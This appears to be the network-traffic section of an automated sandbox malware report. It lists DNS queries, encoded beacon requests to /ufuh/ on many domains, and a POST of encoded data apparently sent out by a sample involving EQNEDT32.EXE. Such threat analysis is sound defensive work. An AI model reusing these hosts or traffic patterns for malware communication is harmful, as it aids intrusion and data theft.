Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.aceautocorp.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=dHCsNlEiGcw6UpYNsSDwUGw5CVcYr5PGduxYMR+z/FEUJE9molBo2WPCHkLm6APtf7MOscmEgy++mrhWyRAZYaHU6QWLXqtmVhlHsy7bZNd62MlyuoEIWFEUa6hs&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.mrart.co.krUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=A8fQf/hISgzwL3oVRnqHbZBV/plXIsny1TYZTQxVDrtx1SbFVUn9YIU/QNlk/lJ+xLSyvfTMvWvwfwkJSN9/6ikOA0zWpJ/i6bk9+sgLcEv6BHfAlNSdkle4dEVn&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.touchclean.topUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=hcZX01VSmexgOFZwe0PcJnDn64JizU3MIAbqwzBBfnOXJDQ4bl307S3dnZeIWVgo7b/xQLPX/O/pu59XEvJBdpQtuyZPu55k1rSFoeWQFZxG8CIiSfRAJf8aFXer&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.ibistradingco.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh4O9IVNf1Nsq6o0EG0WMSPhA6OEupR23w6ucrxxNSq0Kjb577lAvo9ttp2iO4V&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.jnkinteractive.co.krUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?pl=BGoM8L/qyzApLAJaWwxXSF4Q93O5MlPc94ZXocaCy2sUMxOmUp3yiivF6ezDdXcwaqjwM/LWkQHX7JcCzmOdeG0afWN38JyHw8R/BztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.riveramayahousing.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

Source: EQNEDT32.EXE, 00000002.00000002.349581619.00000000006E8000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: universalmovies.top
Source: global traffic	DNS traffic detected: DNS query: www.besthomeincome24.com
Source: global traffic	DNS traffic detected: DNS query: www.terelprime.com
Source: global traffic	DNS traffic detected: DNS query: www.sqlite.org
Source: global traffic	DNS traffic detected: DNS query: www.99b6q.xyz
Source: global traffic	DNS traffic detected: DNS query: www.kinkynerdspro.blog
Source: global traffic	DNS traffic detected: DNS query: www.xn--matfrmn-jxa4m.se
Source: global traffic	DNS traffic detected: DNS query: www.primeplay88.org
Source: global traffic	DNS traffic detected: DNS query: www.aceautocorp.com
Source: global traffic	DNS traffic detected: DNS query: www.mrart.co.kr
Source: global traffic	DNS traffic detected: DNS query: www.touchclean.top
Source: global traffic	DNS traffic detected: DNS query: www.ibistradingco.com
Source: global traffic	DNS traffic detected: DNS query: www.jnkinteractive.co.kr
Source: global traffic	DNS traffic detected: DNS query: www.chrisdomond.com
Source: global traffic	DNS traffic detected: DNS query: www.riveramayahousing.com
Source: global traffic	DNS traffic detected: DNS query: www.exclaimer342200213.net

Source: unknown

HTTP traffic detected: POST /ufuh/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Length: 2159Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedHost: www.kinkynerdspro.blogOrigin: http://www.kinkynerdspro.blogReferer: http://www.kinkynerdspro.blog/ufuh/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Data Raw: 70 6c 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 32 71 62 32 65 4c 53 47 74 5a 47 78 57 6e 4b 49 33 78 68 48 77 41 32 4b 4e 45 67 65 67 34 59 49 54 43 56 57 45 79 7a 75 4c 39 47 75 77 37 69 54 6e 77 56 72 2f 78 59 6b 6c 6d 54 6f 62 67 6e 4b 59 70 51 57 61 57 67 39 76 57 63 4f 51 68 57 38 5a 67 55 73 4f 52 72 58 69 39 39 38 2b 56 70 63 78 63 6e 4d 4f 71 52 62 32 31 41 31 41 69 7a 5a 69 4f 53 43 35 30 52 44 54 57 41 67 6d 44 6b 46 49 39 76 58 4c 39 50 56 2f 41 79 4d 64 57 63 30 75 42 64 2f 4a 50 70 32 47 56 75 6b 62 43 6b 32 68 6f 67 75 6d 33 70 51 42 4c 62 4d 66 43 46 62 6b 77 4c 4f 36 69 4b 6f 46 4a 53 70 65 64 37 4a 72 73 58 67 4c 6c 61 57 4d 6d 47 66 53 4e 2b 4c 36 7a 63 78 37 58 33 39 35 55 6b 46 53 2b 69 41 4f 6d 44 58 62 33 6b 66 30 62 56 71 32 51 49 59 6e 57 4b 76 74 57 48 45 48 76 51 39 73 43 52 77 78 66 68 6a 4b 4d 6c 7a 6f 48 5a 47 75 66 78 39 50 58 52 36 78 71 44 39 56 6f 72 51 43 4d 35 52 78 31 71 4d 73 73 4f 61 51 6e 43 6b 67 63 4b 70 43 6f 73 69 69 54 69 44 69 33 76 5a 43 4f 70 39 41 30 6d 66 79 71 57 75 58 71 65 4d 79 75 4f 48 64 39 61 46 4c 51 59 46 71 30 5a 66 4e 69 50 68 5a 44 56 61 62 4c 39 6f 31 6b 36 53 79 34 52 53 68 65 30 61 4f 71 57 59 4e 73 58 49 41 78 56 73 56 4a 35 6a 51 69 64 63 49 77 77 39 4b 30 75 59 49 36 6e 62 72 2f 51 52 58 46 52 53 33 31 4f 6e 39 61 35 39 45 52 70 34 78 44 42 66 6e 57 35 67 4c 48 53 6b 6b 56 7a 38 6b 36 55 46 65 42 68 70 6f 2f 36 74 48 7a 6c 76 38 62 48 54 61 5a 36 6b 6b 58 46 63 52 6e 7a 79 6a 63 59 51 53 32 43 71 31 45 55 42 50 78 37 56 46 67 71 6a 6e 6d 56 4e 74 37 50 76 4f 67 78 61 75 71 51 45 2f 73 6f 46 51 46 54 30 4d 5a 6d 69 71 5a 4a 63 6a 30 39 39 62 58 4b 2b 73 4c 79 45 76 52 41 52 62 48 6e 61 61 69 55 66 62 63 53 51 69 49 61 50 31 6d 58 2f 48 42 63 64 6e 43 47 43 39 54 33 6f 65 4a 61 45 73 2f 6a 63 6d 4d 74 6f 53 66 39 45 7a 7a 42 32 53 42 37 57 44 67 6c 62 47 33 68 36 43 4c 77 35 4c 75 43 5a 53 6a 57 34 72 65 69 75 4c 47 43 57 42 74 6f 53 33 41 6e 6a 48 36 41 77 72 66 4f 57 55 2f 4b 55 61 37 5a 6d 6a 32 63 71 38 57 31 6b 4e 78 59 7a 66 59 32 69 51 50 70 65 4d 31 6e 72 49 44 34 6b 70 49 31 33 30 38 2f 2b 50 73 42 4f 64 58 7a 4d 78 70 45 4c 4f 6d 74 74 6d 78 4e 66 6a 4d 4b 63 43 7a 6a 6a 64 72 44 61 64 51 4c 58 33 38 79 6f 49 45 74 47 6a 66 6c 4b 4e 39 74 45 7a 41 54 45 37 37 41 45 48 73 37 71 50 36 61 65 39 69 69 42 33 70 63 66 77 43 52 36 31 74 51 6d 67 51 6f 70 63 68 2b 56 72 56 4e 76 49 6e 39 50 59 6d 71 68 45 66 6e 58 75 2f 73 46 52 57 31 2f 2b 3

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 02 May 2024 06:26:56 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Thu, 02 May 2024 06:27:38 GMTContent-Type: text/htmlContent-Length: 580Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 02 May 2024 06:28:11 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 9730Content-Type: text/html; charset=UTF-8Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 70 5e 1a fc ac 75 63 8e 96 42 4e 36 d9 e3 5f db 06 85 cf 85 6d d7 8e 10 95 7d 2c 8a f8 04 35 43 db 65 86 7b 66 af 97 51 1f cd 6f dd a3 f6 be 1b f6 0e 2a 98 50 0e 9d f8 6e fb 7a e1 8b 5d f1 bc 79 de 38 76 99 b8 33 f0 3c 01 26 7b de 08 69 f3 79 83 e0 15 3c 6f 44 cc 38 0b 9f 37 a9 bc a6 f2 79 83 08 d2 57 8f 0a 24 1d 37 02 44 90 3b ef 71 8e b9 f3 fe 65 bf 3b ef 7f 7a 7f 9b 3b 7f c4 9c 6c ad bf 68 42 b5 19 6a e5 bd 72 18 f8 24 b1 63 cf 3a 79 19 a9 bc be ae f9 9b 73 44 9f 75 2a f8 75 56 51 3d f9 59 db 2a 61 31 93 68 9e cb e5 e6 ee e6 14 0b 38 75 a8 05 9d 03 cc 75 5a a2 1f af 1b b8 db 2c 6f e6 ea ec 0f 3a 32 14 4c c7 18 e2 88 2e f7 7d 18 ea 40 8f 79 fb b6 7f c2 57 93 18 7f d5 37 ed bc 2b 34 29 f4 1b 45 d1 ca 77 14 f0 95 9f f4 df db 00 cf a5 d3 ce 75 66 78 f4 c6 aa bd 66 4e fb 07 af 8f 81 21 c5 6d 8d 15 91 47 77 ed 5b e0 31 d6 5c 7e 59 e3 69 9e 49 d8 3c 66 c4 93 d7 d4 ac a8 79 0e ff d2 b5 0f 38 e1 44 b3 5a 0d 67 e5 98 84 6b 27 3e c9 d5 73 c0 44 b3 b6 eb fb 6f fa ea 03 4f 38 e1 75 49 e6 2b 4a 1f fd 7b 37 f8 50 7e b6 56 bd 05 9a ed b5 2f 2e cf f7 57 e5 15 fa 94 cd c3 bb b2 30 b1 55 40 d7 b6 a1 2f 08 45 ba 56 68 7a 56 fc db 93 78 26 35 f1 b5 d4 af 06 74 55 55 f6 c9 bf cc 98 c9 6f 3c 51 b1 fd 85 81 c7 53 ad 9c 46 15 ca 10 2a 3c 03 aa d7 8a 9e 4f 4d 16 d6 cf a7 a6 6d c3 e7 53 ab 79 fb 7c 92 9c 37 cf 27 99 a8 d4 b5 1a 02 fd ee bb 6b 80 3f de 88 e2 06 f5 89 4d ab fe 5e 36 44 bb 09 91 09 74 4a 78 b5 ba be a7 6d a3 f7 ec 22 7e 62 9d a4 7f 7f 57 f9 5d e3 0a da 4f 59 1a 9b 46 44 82 e9 41 72 dd be dc 7e dc a5 c6 35 93 b6 08 97 c9 c0 85 03 5d cc d8 6e 69 a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 02 May 2024 06:28:18 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 9730Content-Type: text/html; charset=UTF-8Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 9f bc 81 d4 31 ce 7a f6 48 cb 0f 7d 37 fc 00 ab fb 6a dd 0c 0e f3 35 68 b5 af 0f eb 13 37 5c 6c b3 51 b5 be df 84 4d 3b 4e f0 a0 d0 b4 c7 0a 88 a3 69 9d 91 4b 37 9c 15 e8 a8 83 70 5e 1a fc ac 75 63 8e 96 42 4e 36 d9 e3 5f db 06 85 cf 85 6d d7 8e 10 95 7d 2c 8a f8 04 35 43 db 65 86 7b 66 af 97 51 1f cd 6f dd a3 f6 be 1b f6 0e 2a 98 50 0e 9d f8 6e fb 7a e1 8b 5d f1 bc 79 de 38 76 99 b8 33 f0 3c 01 26 7b de 08 69 f3 79 83 e0 15 3c 6f 44 cc 38 0b 9f 37 a9 bc a6 f2 79 83 08 d2 57 8f 0a 24 1d 37 02 44 90 3b ef 71 8e b9 f3 fe 65 bf 3b ef 7f 7a 7f 9b 3b 7f c4 9c 6c ad bf 68 42 b5 19 6a e5 bd 72 18 f8 24 b1 63 cf 3a 79 19 a9 bc be ae f9 9b 73 44 9f 75 2a f8 75 56 51 3d f9 59 db 2a 61 31 93 68 9e cb e5 e6 ee e6 14 0b 38 75 a8 05 9d 03 cc 75 5a a2 1f af 1b b8 db 2c 6f e6 ea ec 0f 3a 32 14 4c c7 18 e2 88 2e f7 7d 18 ea 40 8f 79 fb b6 7f c2 57 93 18 7f d5 37 ed bc 2b 34 29 f4 1b 45 d1 ca 77 14 f0 95 9f f4 df db 00 cf a5 d3 ce 75 66 78 f4 c6 aa bd 66 4e fb 07 af 8f 81 21 c5 6d 8d 15 91 47 77 ed 5b e0 31 d6 5c 7e 59 e3 69 9e 49 d8 3c 66 c4 93 d7 d4 ac a8 79 0e ff d2 b5 0f 38 e1 44 b3 5a 0d 67 e5 98 84 6b 27 3e c9 d5 73 c0 44 b3 b6 eb fb 6f fa ea 03 4f 38 e1 75 49 e6 2b 4a 1f fd 7b 37 f8 50 7e b6 56 bd 05 9a ed b5 2f 2e cf f7 57 e5 15 fa 94 cd c3 bb b2 30 b1 55 40 d7 b6 a1 2f 08 45 ba 56 68 7a 56 fc db 93 78 26 35 f1 b5 d4 af 06 74 55 55 f6 c9 bf cc 98 c9 6f 3c 51 b1 fd 85 81 c7 53 ad 9c 46 15 ca 10 2a 3c 03 aa d7 8a 9e 4f 4d 16 d6 cf a7 a6 6d c3 e7 53 ab 79 fb 7c 92 9c 37 cf 27 99 a8 d4 b5 1a 02 fd ee bb 6b 80 3f de 88 e2 06 f5 89 4d ab fe 5e 36 44 bb 09 91 09 74 4a 78 b5 ba be a7 6d a3 f7 ec 22 7e 62 9d a4 7f 7f 57 f9 5d e3 0a da 4f 59 1a 9b 46 44 82 e9 41 72 dd be dc 7e dc a5 c6 35 93 b6 08 97 c9 c0 85 03 5d cc d8 6e 69 a
